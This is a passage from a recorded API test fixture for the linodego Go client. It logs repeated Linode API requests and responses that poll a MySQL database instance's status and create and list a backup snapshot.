"status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "active", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "646" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"mysqlbackupforlinodego","target":"primary"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254/backups method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254/backups method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254/backups method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254/backups method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254/backups method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254/backups method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254/backups method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254/backups method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254/backups method: GET response: body: '{"data": [{"id": 807908, "type": "snapshot", "label": "mysqlbackupforlinodego", "created": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "152" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254/backups/807908 method: GET response: body: '{"id": 807908, "type": "snapshot", "label": "mysqlbackupforlinodego", "created": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "103" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "650" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "650" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "650" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "650" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "650" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "650" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "650" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": 